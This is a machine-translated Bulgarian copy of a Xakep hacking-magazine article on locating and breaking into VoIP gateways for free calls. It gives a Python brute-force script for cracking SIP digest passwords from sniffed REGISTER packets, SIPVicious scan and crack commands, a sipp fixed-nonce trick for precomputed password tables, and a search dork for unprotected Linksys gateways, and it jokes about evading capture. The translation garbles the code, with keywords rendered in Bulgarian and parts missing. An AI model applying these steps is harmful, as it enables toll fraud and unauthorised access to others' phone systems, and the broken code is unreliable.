VoIP за всеки хакер: търсене и хакване на VoIP шлюзове

хакнем

търсим

Xakep # 239. Отворете и разгледайте

всеки

Xakep # 238. Забравен Android

хакер

Xakep # 237. Darknet 2018

хакер

voip

Xakep # 235. Прераждане на експлоатационни китове

Съдържанието на статията

Как започна всичко

На темата за звездичките и избора на пароли за тях са написани много статии. Хората в темата вероятно са чували за пренебрежителния набор от помощни програми и мнозина дори са ги опитвали. Когато обаче сканирате мрежата с помощта на svmap.py (скриптът е включен в гореспоменатия комплект), в допълнение към звездичките в мрежата има различен VoIP хардуер, като Cisco, AddPac, Linksys и т.н. Те обикновено имат собствен уеб интерфейс. И ако смятате, че е защитен с парола, тогава вероятно сте прав. Но не винаги:). Linksys по подразбиране няма парола в уеб интерфейса. Но напразно, тъй като много от техните парчета желязо могат да бъдат достъпни отвън.

Свиквам с

SIP регистрация

Нека да видим как работи процесът на регистрация на SIP. Първоначално клиентът изпраща заявка „РЕГИСТРИРАНЕ“ до Softswitch (например Asterisk), в която няма парола, а само контакт. В отговор се получава съобщението „401 Unauthorized“, което показва, че трябва да преминете „Digest удостоверяване на достъпа“. В изпратеното съобщение се генерират nonce и сфера. Използвайки nonce и realm (получени от сървъра), парола и потребителско име (регистрирани на шлюза), както и digesturi, шлюзът генерира md5 хеш - отговор - и изпраща всичко това обратно към Softswitch, който проверява изпратените данни. Ако те са верни, тогава връща 200 ОК, ако не - отново 401. Оказва се, че ако получите регистрационния дъмп, ще имате всички данни с изключение на паролата и можете да я познаете. За да направите това, инсталирайте звездичка, стартирайте един връстник в нея, въведете потребителското име, като на шлюз, и напишете всяка парола. След това прилагаме настройките.

Най-простият връстник от /etc/sip.conf:

[Перу]
тип = приятел
username = потребителско име от шлюза
тайна = helloworld
хост = динамичен
disallow = всички
позволи = alaw
позволи = ulaw

11 милиона евро щети от хакери на VOIP

Според документите на разследването, първоначално момчетата бяха ограничени до безплатни разговори в различни посоки. Но апетитите, както знаете, нарастват и момчетата бързо осъзнаха как могат да го монетизират. За две години те направиха над 23 500 обаждания (това са 315 000 минути) към платени номера, които предлагат разнообразни услуги за пари (предимно от референтен тип). Печалбата е получена от участие в партньорски програми с доставчици на същите тези платени номера. Направена е първата печалба. Осъзнавайки, че няма да е възможно да печелим много заедно, специална компания, Shadow Communication Company Ltd. От този момент нататък бизнесът достигна съвсем ново ниво. Чрез наемане на хора и внедряване на удобен за потребителя интерфейс за служителите (например, той показва цени за повиквания до премиум тарифи и специални условия, като ограничения за броя на обажданията на ден), те успяват да достигнат напълно нови висоти. Освен това беше организирана компания, която сама предоставяше възможност за регистриране на платени номера, а за по-ефективна работа - система за препоръчване, която стимулира активността.

Сега става ясно откъде идва толкова страхотна сума на щетите на честни VoIP потребители. Компанията Shadow Communication осъществи 1 541 187 неоторизирани обаждания, което е 11 094 167 минути разговор. Не се изненадвайте от тези цифри: това е броене от регистрационните файлове, предоставени от доставчиците на VoIP. Сега 42 души са замесени в случая в различни градове на Европа.

Предполагане на парола

След това отварям сметището (например с помощта на Wireshark). Там намирам РЕГИСТЪР пакет с отговор - сега всички данни са налице и няма какво да се направи - напишете скрипт, за да познаете паролата. Между другото, можете също да улавяте данни в конзолата на звездичката, за това въвеждаме "sip set debug on" в CLI и разглеждаме съдържанието на пакетите. С оглед на факта, че скриптът, с който е намерен шлюзът, е написан на Python, реших да не се отклонявам от традицията и написах друг скрипт също на Python. В него трябва да повторя цялата азбука. За целта използвах готов клас - той решава проблема с генерирането на всички възможни опции за парола и ви позволява да зададете азбуката на груба сила (т.е. да търсите само между цифри, малки букви и всяка тяхна комбинация) . И също така задайте дължината на паролата, нейните начални и крайни стойности.


Искане за регистрация на Wireshark

#!/usr/bin/python
import md5 # включва библиотека, която ще генерира md5 хеш

bg = "abcdefghijklmnopqrstuvwxyz"
цифри = "1234567890"
пространство = "
p = ", .-!?;: '"/() "
op = "+ - /: ^ ()> '";: [] <> "
клас ABCIterator:

u = (raw_input ('потребителско име >>'));
b = (raw_input ('царство >>'));
m = (raw_input ('метод >>'));

d = (raw_input (‘digestURI >>’));
r = (raw_input (‘response >>’));
n = (raw_input (‘nonce >>’));
отпечатайте u, b, m, d, r, n;
ha2 = md5.new (m + ":" + d) .hexdigest ();

отговор = 0;
ch = 0; # ще бъде запазен в тази променлива

за i в ABCIterator (start_len = 1, stop_len = 8, abc = цифри + en):

ch = ch + 1;
ако ch% 500000 == 0: print i;

ha1 = md5.new (u + ":" + b + ":" + i) .hexdigest ();
отговор = md5.new (ha1 + ":" + n + ":" + ha2) .hexdigest (); # хеширане
ако r == отговор: # сравнете хеша с този, получен от шлюза
печат "——————>", i;

Много атаки срещу VoIP се свеждат до намиране на неправилно конфигурирани централи (обмен на частни клонове) или, на руски, офис централи. Различни видове сканиране, анализ и избор на пароли най-често се извършват с помощта на набора от SIPVicious скриптове, споменати в текста на статията, написани на Python и работещи под различни операционни системи. За да разберем по-добре материала, нека си спомним как се извършват основните действия, като се използва прост пример.

1. Сканирайте обхвата на подмрежата (нека бъде 192.168.1.1/24), за да намерите BPX.

[you @ box sipvicious] $ ./svmap 192.168.1.1/24
| SIP устройство | Потребителски агент |
---------------------------------------------
| 192.168.1.103:5060 | АТС звездичка |

[you @ box sipvicious] $ ./svwar.py 192.168.1.103
| Удължаване | Удостоверяване |
------------------------------
| 123 | reqauth |
| 100 | reqauth |
| 101 | noauth |

3. Предполагане на парола чрез заместване на цифрови стойности (те се използват по-често):

[you @ box sipvicious] $ ./svcrack.py 192.168.1.103 -u 100
| Удължаване | Парола |
------------------------
| 100 | 100 |

За разширение "100" паролата е съвпаднала!

4. Предполагане на парола с помощта на речник:

[you @ box sipvicious] $ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt
| Удължаване | Парола |
------------------------
| 123 | тайна |

Има парола за 123!

Намерена парола

И така, скриптът работи и намери паролата, което означава, че можете да записвате данни в звездичката и да мислите, че регистрацията е била успешна. Готов е нов безплатен багажник за разговори до Куба:). Като цяло технологията може да се подобри, защото е непрактично да се подрежда паролата всеки път. Имайки достъп до шлюза, можете да промените не само стойността на прокси сървъра, но и потребителското име. Ако намерените шлюзове винаги са регистрирани на един и същ сървър, тогава царството винаги ще бъде звездичка, но дигестурите няма да се променят. Това означава, че е достатъчно да се научите как винаги да изпращате 401 съобщение с постоянен nonce в отговор на REGISTER. След това можете да създадете своя собствена таблица с хешове на пароли, тъй като всички параметри от шлюз до шлюз ще бъдат еднакви (с изключение на паролата). Необходимо е да се преразгледат всички възможни пароли с постоянна област, дигестиурия, потребителско име, метод - РЕГИСТРИРАЙТЕ, отсега и запишете кореспонденцията "парола-отговор" в базата данни, а за всеки нов шлюз направете избор само чрез отговор и веднага намерете парола. След това, в отговор на регистрацията, генерирайте пакет 401 със същия nonce (това може да се направи от програмата sipp). Ако създадете такава база данни, можете да отворите услуга за възстановяване на забравени пароли на шлюзове за регистрация, но базата данни ще се окаже твърде обемна:). За да отговорите на РЕГИСТЪРА на шлюза в sipp, трябва да използвате скрипта.

Скриптът за sipp е nonce.xml:





До: потребителско име от шлюз-идентификатор на повикване: [call_id] CSeq: [cseq] РЕГИСТРИРАНЕ Сървър: Asterisk PBX 1.6.2.13 Разрешаване: ПОКАНА, АКК, ОТМЕНЯ, ОПЦИИ, ЧАЙ, РЕФЕР, АБОНАМЕНТ, НОТИФИКАЦИЯ, ИНФО Поддържа се: замества, таймер WWW -Authenticate: Digest алгоритъм = MD5, realm = "звездичка", nonce = "17852b0a" Дължина на съдържанието: [len]]]>

Благодарение на опцията sipp, той ще изпрати нашия "вълшебен" пакет само когато пристигне заявката за регистрация. Спираме звездичката, така че да не отговаря на заявки от шлюза, след това създаваме скрипт и стартираме sipp от същата папка:

sipp -sf nonce.xml * шлюз ip * -i * ip c Звездичка * -trace_msg -l 10 -r 1 -rp 1000

Стартираме tshark с писане във файл и се опитваме да регистрираме шлюза. Отваряме сметището и отново виждаме всички данни, необходими за итерацията.

Получените данни могат да се използват за фалшива регистрация на сървъра, без дори да се познае паролата, но това е тема за друга статия. Ето един толкова опростен начин да си осигурите безплатни обаждания, ако имате късмет, тогава навсякъде по света и ако имате голям късмет (или ако използвате предпазни мерки), те никога няма да бъдат уловени:).

Всъщност можете да търсите и шлюзове без парола, като използвате Google. Ако въведете intitle: "Sipura SPA Configuration" в заявката за търсене, тогава има много шлюзове на Linksys, които нямат парола.